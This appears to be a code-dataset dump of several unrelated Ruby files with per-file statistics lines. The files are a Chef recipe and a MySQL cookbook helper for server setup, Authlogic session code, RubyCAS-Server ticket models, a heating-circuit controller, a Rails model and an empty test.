######################################################################### ######################################################## # Copyright IBM Corp. 2016, 2018 ######################################################## # <> Pre-Requisite recipe (prereq.rb) # <> Pre-Requisite recipe to install packages, create users and folders. # ######################################################################### # Cookbook Name - wasliberty # Recipe - prereq #---------------------------------------------------------------------------------------------------------------------------------------------- ibm_cloud_utils_hostsfile_update 'update_the_etc_hosts_file' do action :updateshosts end # set hard/soft ulimit for open files in /etc/security/limits.conf template "/etc/security/limits.d/was-limits.conf" do source "was-limits.conf.erb" mode '0644' variables( :OSUSER => node['was_liberty']['os_users']['wasrunas']['name'] ) end Chef::Log.info("IM1x Install User: #{node['was_liberty']['install_user']}") Chef::Log.info("IM1x Install Group: #{node['was_liberty']['install_grp']}") # create OS users and groups if node['was_liberty']['create_os_users'] == 'true' node['was_liberty']['os_users'].each_pair do |_k, u| next if u['name'].nil? next if u['gid'].nil? group u['gid'] do action :create end user u['name'] do action :create comment u['comment'] home u['home'] gid u['gid'] shell u['shell'] manage_home true end end end ["#{node['was_liberty']['expand_area']}/was-v90", node['was_liberty']['tmp']].each do |dir| directory dir do recursive true action :create end end # chef_gem 'chef-vault' do # action :install # compile_time true # end
28.885246
143
0.507378
bfcf2c4049a5cd9a93f34668302a75259f3b2a0e
156
# encoding: utf-8 class FirmPageImage < Image mount_uploader :image, FirmPageImageUploader belongs_to :firm_page validates :image, presence: true end
22.285714
46
0.788462
260c6a61c93a144b1f915bb5fba5ce7639fc643a
3,690
module Authlogic module Session # Sort of like an interface, it sets the foundation for the class, such as the # required methods. This also allows other modules to overwrite methods and call super # on them. It's also a place to put "utility" methods used throughout Authlogic. module Foundation def self.included(klass) klass.class_eval do extend Authlogic::Config include InstanceMethods end end module InstanceMethods E_AC_PARAMETERS = <<-EOS.strip_heredoc.freeze Passing an ActionController::Parameters to Authlogic is not allowed. In Authlogic 3, especially during the transition of rails to Strong Parameters, it was common for Authlogic users to forget to `permit` their params. They would pass their params into Authlogic, we'd call `to_h`, and they'd be surprised when authentication failed. In 2018, people are still making this mistake. We'd like to help them and make authlogic a little simpler at the same time, so in Authlogic 3.7.0, we deprecated the use of ActionController::Parameters. Instead, pass a plain Hash. Please replace: UserSession.new(user_session_params) UserSession.create(user_session_params) with UserSession.new(user_session_params.to_h) UserSession.create(user_session_params.to_h) And don't forget to `permit`! We discussed this issue thoroughly between late 2016 and early 2018. Notable discussions include: - https://github.com/binarylogic/authlogic/issues/512 - https://github.com/binarylogic/authlogic/pull/558 - https://github.com/binarylogic/authlogic/pull/577 EOS def initialize(*args) self.credentials = args end # The credentials you passed to create your session. See credentials= for more # info. def credentials [] end # Set your credentials before you save your session. There are many # method signatures. # # ``` # # A hash of credentials is most common # session.credentials = { login: "foo", password: "bar", remember_me: true } # # # You must pass an actual Hash, `ActionController::Parameters` is # # specifically not allowed. # # # You can pass an array of objects: # session.credentials = [my_user_object, true] # # # If you need to set an id (see `Authlogic::Session::Id`) pass it # # last. It needs be the last item in the array you pass, since the id # # is something that you control yourself, it should never be set from # # a hash or a form. Examples: # session.credentials = [ # {:login => "foo", :password => "bar", :remember_me => true}, # :my_id # ] # session.credentials = [my_user_object, true, :my_id] # # # Finally, there's priority_record # [{ priority_record: my_object }, :my_id] # ``` def credentials=(values) normalized = Array.wrap(values) if normalized.first.class.name == "ActionController::Parameters" raise TypeError.new(E_AC_PARAMETERS) end end def inspect format( "#<%s: %s>", self.class.name, credentials.blank? ? "no credentials provided" : credentials.inspect ) end private def build_key(last_part) last_part end end end end end
34.811321
90
0.605962
878bfeaa19f1fa05766c467699d2f1727a1a1dfa
43
module Presentable VERSION = "0.1.0" end
10.75
19
0.697674
61435fcac1584ca64a2be73af52ff7fc0e3710ff
10,361
module MysqlCookbook module HelpersBase require 'shellwords' def el6? return true if platform_family?('rhel') && node['platform_version'].to_i == 6 false end def el7? return true if platform_family?('rhel') && node['platform_version'].to_i == 7 false end def fedora? return true if platform_family?('fedora') false end def suse? return true if platform_family?('suse') false end def jessie? return true if platform?('debian') && node['platform_version'].to_i == 8 false end def stretch? return true if platform?('debian') && node['platform_version'].to_i == 9 false end def trusty? return true if platform?('ubuntu') && node['platform_version'] == '14.04' return true if platform?('linuxmint') && node['platform_version'] =~ /^17\.[0-9]$/ false end def xenial? return true if platform?('ubuntu') && node['platform_version'] == '16.04' false end def bionic? return true if platform?('ubuntu') && node['platform_version'] == '18.04' false end def defaults_file "#{etc_dir}/my.cnf" end def default_data_dir return "/var/lib/#{mysql_name}" if node['os'] == 'linux' return "/opt/local/lib/#{mysql_name}" if platform_family?('solaris2') return "/var/db/#{mysql_name}" if platform_family?('freebsd') end def default_error_log "#{log_dir}/error.log" end def default_pid_file "#{run_dir}/mysqld.pid" end def default_major_version # rhelish return '5.6' if el6? return '5.6' if el7? return '5.6' if platform?('amazon') # debian return '5.5' if jessie? # ubuntu return '5.5' if trusty? return '5.7' if xenial? return '5.7' if bionic? # misc return '5.6' if platform?('freebsd') return '5.7' if fedora? return '5.6' if suse? end def major_from_full(v) v.split('.').shift(2).join('.') end def mysql_name if instance == 'default' 'mysql' else "mysql-#{instance}" end end def default_socket_file "#{run_dir}/mysqld.sock" end def default_client_package_name return %w(mysql mysql-devel) if major_version == '5.1' && el6? return %w(mysql mysql-devel) if el7? return ['mysql55', 'mysql55-devel.x86_64'] if major_version == '5.5' && platform?('amazon') return ['mysql56', 'mysql56-devel.x86_64'] if major_version == '5.6' && platform?('amazon') return ['mysql57', 'mysql57-devel.x86_64'] if major_version == '5.7' && platform?('amazon') return ['mysql-client-5.5', 'libmysqlclient-dev'] if major_version == '5.5' && platform_family?('debian') return ['mysql-client-5.6', 'libmysqlclient-dev'] if major_version == '5.6' && platform_family?('debian') return ['mysql-client-5.7', 'libmysqlclient-dev'] if major_version == '5.7' && platform_family?('debian') return 'mysql-community-server-client' if major_version == '5.6' && platform_family?('suse') %w(mysql-community-client mysql-community-devel) end def default_server_package_name return 'mysql-server' if major_version == '5.1' && el6? return 'mysql55-server' if major_version == '5.5' && platform?('amazon') return 'mysql56-server' if major_version == '5.6' && platform?('amazon') return 'mysql57-server' if major_version == '5.7' && platform?('amazon') return 'mysql-server-5.5' if major_version == '5.5' && platform_family?('debian') return 'mysql-server-5.6' if major_version == '5.6' && platform_family?('debian') return 'mysql-server-5.7' if major_version == '5.7' && platform_family?('debian') return 'mysql-community-server' if major_version == '5.6' && platform_family?('suse') 'mysql-community-server' end def socket_dir File.dirname(socket) end def run_dir return "#{prefix_dir}/var/run/#{mysql_name}" if platform_family?('rhel') return "/run/#{mysql_name}" if platform_family?('debian') "/var/run/#{mysql_name}" end def prefix_dir return "/opt/mysql#{pkg_ver_string}" if platform_family?('omnios') return '/opt/local' if platform_family?('smartos') return "/opt/rh/#{scl_name}/root" if scl_package? end def scl_name return unless platform_family?('rhel') return 'mysql51' if version == '5.1' && node['platform_version'].to_i == 5 return 'mysql55' if version == '5.5' && node['platform_version'].to_i == 5 end def scl_package? return unless platform_family?('rhel') return true if version == '5.1' && node['platform_version'].to_i == 5 return true if version == '5.5' && node['platform_version'].to_i == 5 false end def etc_dir return "/opt/mysql#{pkg_ver_string}/etc/#{mysql_name}" if platform_family?('omnios') return "#{prefix_dir}/etc/#{mysql_name}" if platform_family?('smartos') "#{prefix_dir}/etc/#{mysql_name}" end def base_dir prefix_dir || '/usr' end def system_service_name return 'mysql51-mysqld' if platform_family?('rhel') && scl_name == 'mysql51' return 'mysql55-mysqld' if platform_family?('rhel') && scl_name == 'mysql55' return 'mysqld' if platform_family?('rhel') return 'mysqld' if platform_family?('fedora') 'mysql' # not one of the above end def v56plus return false if version.split('.')[0].to_i < 5 return false if version.split('.')[1].to_i < 6 true end def v57plus return false if version.split('.')[0].to_i < 5 return false if version.split('.')[1].to_i < 7 true end def default_include_dir "#{etc_dir}/conf.d" end def log_dir return "/var/adm/log/#{mysql_name}" if platform_family?('omnios') "#{prefix_dir}/var/log/#{mysql_name}" end def lc_messages_dir; end def init_records_script # Note: shell-escaping passwords in a SQL file may cause corruption - eg # mysql will read \& as &, but \% as \%. Just escape bare-minimum \ and ' sql_escaped_password = root_password.gsub('\\') { '\\\\' }.gsub("'") { '\\\'' } <<-EOS set -e rm -rf /tmp/#{mysql_name} mkdir /tmp/#{mysql_name} cat > /tmp/#{mysql_name}/my.sql <<-'EOSQL' UPDATE mysql.user SET #{password_column_name}=PASSWORD('#{sql_escaped_password}')#{password_expired} WHERE user = 'root'; DELETE FROM mysql.user WHERE USER LIKE ''; DELETE FROM mysql.user WHERE user = 'root' and host NOT IN ('127.0.0.1', 'localhost'); FLUSH PRIVILEGES; DELETE FROM mysql.db WHERE db LIKE 'test%'; DROP DATABASE IF EXISTS test ; EOSQL #{db_init} #{record_init} while [ ! -f #{pid_file} ] ; do sleep 1 ; done kill `cat #{pid_file}` while [ -f #{pid_file} ] ; do sleep 1 ; done rm -rf /tmp/#{mysql_name} EOS end def wait_for_init cmd = <<-EOS while [ ! -f #{pid_file} ] ; do sleep 1 ; done kill `cat #{pid_file}` while [ -f #{pid_file} ] ; do sleep 1 ; done rm -rf /tmp/#{mysql_name} EOS cmd = '' if v57plus cmd end def password_column_name return 'authentication_string' if v57plus 'password' end def root_password if initial_root_password == '' Chef::Log.info('Root password is empty') return '' end initial_root_password end def password_expired return ", password_expired='N'" if v57plus '' end def db_init return mysqld_initialize_cmd if v57plus mysql_install_db_cmd end def mysql_install_db_bin return "#{base_dir}/scripts/mysql_install_db" if platform_family?('omnios') return "#{prefix_dir}/bin/mysql_install_db" if platform_family?('smartos') 'mysql_install_db' end def mysql_install_db_cmd cmd = mysql_install_db_bin cmd << " --defaults-file=#{etc_dir}/my.cnf" cmd << " --datadir=#{data_dir}" cmd << ' --explicit_defaults_for_timestamp' if v56plus && !v57plus return "scl enable #{scl_name} \"#{cmd}\"" if scl_package? cmd end def mysqladmin_bin return "#{prefix_dir}/bin/mysqladmin" if platform_family?('smartos') return 'mysqladmin' if scl_package? "#{prefix_dir}/usr/bin/mysqladmin" end def mysqld_bin return "#{prefix_dir}/libexec/mysqld" if platform_family?('smartos') return "#{base_dir}/bin/mysqld" if platform_family?('omnios') return '/usr/sbin/mysqld' if fedora? && v56plus return '/usr/libexec/mysqld' if fedora? return 'mysqld' if scl_package? "#{prefix_dir}/usr/sbin/mysqld" end def mysql_systemd_start_pre return '/usr/bin/mysqld_pre_systemd' if v57plus && (el7? || fedora?) return '/usr/bin/mysql-systemd-start pre' if platform_family?('rhel') return '/usr/lib/mysql/mysql-systemd-helper install' if suse? '/usr/share/mysql/mysql-systemd-start pre' end def mysql_systemd return "/usr/libexec/#{mysql_name}-wait-ready $MAINPID" if v57plus && (el7? || fedora?) return '/usr/bin/mysql-systemd-start' if platform_family?('rhel') return '/usr/share/mysql/mysql-systemd-start' if v57plus "/usr/libexec/#{mysql_name}-wait-ready $MAINPID" end def mysqld_initialize_cmd cmd = mysqld_bin cmd << " --defaults-file=#{etc_dir}/my.cnf" cmd << ' --initialize' cmd << ' --explicit_defaults_for_timestamp' if v56plus return "scl enable #{scl_name} \"#{cmd}\"" if scl_package? cmd end def mysqld_safe_bin return "#{prefix_dir}/bin/mysqld_safe" if platform_family?('smartos') return "#{base_dir}/bin/mysqld_safe" if platform_family?('omnios') return 'mysqld_safe' if scl_package? "#{prefix_dir}/usr/bin/mysqld_safe" end def record_init cmd = v56plus ? mysqld_bin : mysqld_safe_bin cmd << " --defaults-file=#{etc_dir}/my.cnf" cmd << " --init-file=/tmp/#{mysql_name}/my.sql" cmd << ' --explicit_defaults_for_timestamp' if v56plus cmd << ' &' return "scl enable #{scl_name} \"#{cmd}\"" if scl_package? cmd end end end
31.302115
121
0.615578
ac4dc9e541486c424eeead607e4c5e2b5f586724
8,933
require 'active_record' require 'active_record/base' module CASServer::Model module Consumable def consume! self.consumed = Time.now self.save! end def self.included(mod) mod.extend(ClassMethods) end module ClassMethods def cleanup(max_lifetime, max_unconsumed_lifetime) transaction do conditions = ["created_on < ? OR (consumed IS NULL AND created_on < ?)", Time.now - max_lifetime, Time.now - max_unconsumed_lifetime] expired_tickets_count = count(:conditions => conditions) $LOG.debug("Destroying #{expired_tickets_count} expired #{self.name.demodulize}"+ "#{'s' if expired_tickets_count > 1}.") if expired_tickets_count > 0 destroy_all(conditions) end end end end class Base < ActiveRecord::Base end class Ticket < Base def to_s ticket end def self.cleanup(max_lifetime) transaction do conditions = ["created_on < ?", Time.now - max_lifetime] expired_tickets_count = count(:conditions => conditions) $LOG.debug("Destroying #{expired_tickets_count} expired #{self.name.demodulize}"+ "#{'s' if expired_tickets_count > 1}.") if expired_tickets_count > 0 destroy_all(conditions) end end end class LoginTicket < Ticket set_table_name 'casserver_lt' include Consumable end class ServiceTicket < Ticket set_table_name 'casserver_st' include Consumable belongs_to :granted_by_tgt, :class_name => 'CASServer::Model::TicketGrantingTicket', :foreign_key => :granted_by_tgt_id has_one :proxy_granting_ticket def matches_service?(service) CASServer::CAS.clean_service_url(self.service) == CASServer::CAS.clean_service_url(service) end end class ProxyTicket < ServiceTicket belongs_to :granted_by_pgt, :class_name => 'CASServer::Model::ProxyGrantingTicket', :foreign_key => :granted_by_pgt_id end class TicketGrantingTicket < Ticket set_table_name 'casserver_tgt' serialize :extra_attributes has_many :granted_service_tickets, :class_name => 'CASServer::Model::ServiceTicket', :foreign_key => :granted_by_tgt_id end class ProxyGrantingTicket < Ticket set_table_name 'casserver_pgt' belongs_to :service_ticket has_many :granted_proxy_tickets, :class_name => 'CASServer::Model::ProxyTicket', :foreign_key => :granted_by_pgt_id end class Error attr_reader :code, :message def initialize(code, message) @code = code @message = message end def to_s message end end # class CreateCASServer < V 0.1 # def self.up # if ActiveRecord::Base.connection.table_alias_length > 30 # $LOG.info("Creating database with long table names...") # # create_table :casserver_login_tickets, :force => true do |t| # t.column :ticket, :string, :null => false # t.column :created_on, :timestamp, :null => false # t.column :consumed, :datetime, :null => true # t.column :client_hostname, :string, :null => false # end # # create_table :casserver_service_tickets, :force => true do |t| # t.column :ticket, :string, :null => false # t.column :service, :string, :null => false # t.column :created_on, :timestamp, :null => false # t.column :consumed, :datetime, :null => true # t.column :client_hostname, :string, :null => false # t.column :username, :string, :null => false # t.column :type, :string, :null => false # t.column :proxy_granting_ticket_id, :integer, :null => true # end # # create_table :casserver_ticket_granting_tickets, :force => true do |t| # t.column :ticket, :string, :null => false # t.column :created_on, :timestamp, :null => false # t.column :client_hostname, :string, :null => false # t.column :username, :string, :null => false # end # # create_table :casserver_proxy_granting_tickets, :force => true do |t| # t.column :ticket, :string, :null => false # t.column :created_on, :timestamp, :null => false # t.column :client_hostname, :string, :null => false # t.column :iou, :string, :null => false # t.column :service_ticket_id, :integer, :null => false # end # end # end # # def self.down # if ActiveRecord::Base.connection.table_alias_length > 30 # drop_table :casserver_proxy_granting_tickets # drop_table :casserver_ticket_granting_tickets # drop_table :casserver_service_tickets # drop_table :casserver_login_tickets # end # end # end # # # Oracle table names cannot exceed 30 chars... # # See http://code.google.com/p/rubycas-server/issues/detail?id=15 # class ShortenTableNames < V 0.5 # def self.up # if ActiveRecord::Base.connection.table_alias_length > 30 # $LOG.info("Shortening table names") # rename_table :casserver_login_tickets, :casserver_lt # rename_table :casserver_service_tickets, :casserver_st # rename_table :casserver_ticket_granting_tickets, :casserver_tgt # rename_table :casserver_proxy_granting_tickets, :casserver_pgt # else # create_table :casserver_lt, :force => true do |t| # t.column :ticket, :string, :null => false # t.column :created_on, :timestamp, :null => false # t.column :consumed, :datetime, :null => true # t.column :client_hostname, :string, :null => false # end # # create_table :casserver_st, :force => true do |t| # t.column :ticket, :string, :null => false # t.column :service, :string, :null => false # t.column :created_on, :timestamp, :null => false # t.column :consumed, :datetime, :null => true # t.column :client_hostname, :string, :null => false # t.column :username, :string, :null => false # t.column :type, :string, :null => false # t.column :proxy_granting_ticket_id, :integer, :null => true # end # # create_table :casserver_tgt, :force => true do |t| # t.column :ticket, :string, :null => false # t.column :created_on, :timestamp, :null => false # t.column :client_hostname, :string, :null => false # t.column :username, :string, :null => false # end # # create_table :casserver_pgt, :force => true do |t| # t.column :ticket, :string, :null => false # t.column :created_on, :timestamp, :null => false # t.column :client_hostname, :string, :null => false # t.column :iou, :string, :null => false # t.column :service_ticket_id, :integer, :null => false # end # end # end # # def self.down # if ActiveRecord::Base.connection.table_alias_length > 30 # rename_table :casserver_lt, :cassserver_login_tickets # rename_table :casserver_st, :casserver_service_tickets # rename_table :casserver_tgt, :casserver_ticket_granting_tickets # rename_table :casserver_pgt, :casserver_proxy_granting_tickets # else # drop_table :casserver_pgt # drop_table :casserver_tgt # drop_table :casserver_st # drop_table :casserver_lt # end # end # end # # class AddTgtToSt < V 0.7 # def self.up # add_column :casserver_st, :tgt_id, :integer, :null => true # end # # def self.down # remove_column :casserver_st, :tgt_id, :integer # end # end # # class ChangeServiceToText < V 0.71 # def self.up # # using change_column to change the column type from :string to :text # # doesn't seem to work, at least under MySQL, so we drop and re-create # # the column instead # remove_column :casserver_st, :service # say "WARNING: All existing service tickets are being deleted." # add_column :casserver_st, :service, :text # end # # def self.down # change_column :casserver_st, :service, :string # end # end # # class AddExtraAttributes < V 0.72 # def self.up # add_column :casserver_tgt, :extra_attributes, :text # end # # def self.down # remove_column :casserver_tgt, :extra_attributes # end # end # # class RenamePgtForeignKeys < V 0.80 # def self.up # rename_column :casserver_st, :proxy_granting_ticket_id, :granted_by_pgt_id # rename_column :casserver_st, :tgt_id, :granted_by_tgt_id # end # # def self.down # rename_column :casserver_st, :granted_by_pgt_id, :proxy_granting_ticket_id # rename_column :casserver_st, :granted_by_tgt_id, :tgt_id # end # end end
33.208178
91
0.625658
ab6d5d756beb0f0c3f5bf1297d8c99bf9defc8e2
928
class Floor < HeatingCircuit attr_reader :temperatures def business_logic unless turn_off? enable(:pump) if overheating? puts "Overheating!" shutdown else enable(:mixer) if difference < @mixer.turn_on_temperature disable(:mixer) if (difference > @mixer.turn_off_temperature) || @mixer.expired? end end end private def default_conditions(actual, target) (actual[:outdoor_temperature] > target[:outdoor_temperature]) || actual[:boiler_pump] end def overheating? @temperatures << @lead_temperature return true if alert? @temperatures.clear if series_complete? end def series(n) @temperatures.first(n) end def series_complete? series(3).size == 3 end def alert? puts "Series: #{series(3)}" series(3).map {|temperature| temperature > 40 }.all? && series_complete? end end
20.173913
91
0.644397
18e7bf60bc5cb8b5b54f34b05150783bb4ca910a
138
require 'test_helper' class UserCoursesControllerTest < ActionController::TestCase # test "the truth" do # assert true # end end
17.25
60
0.73913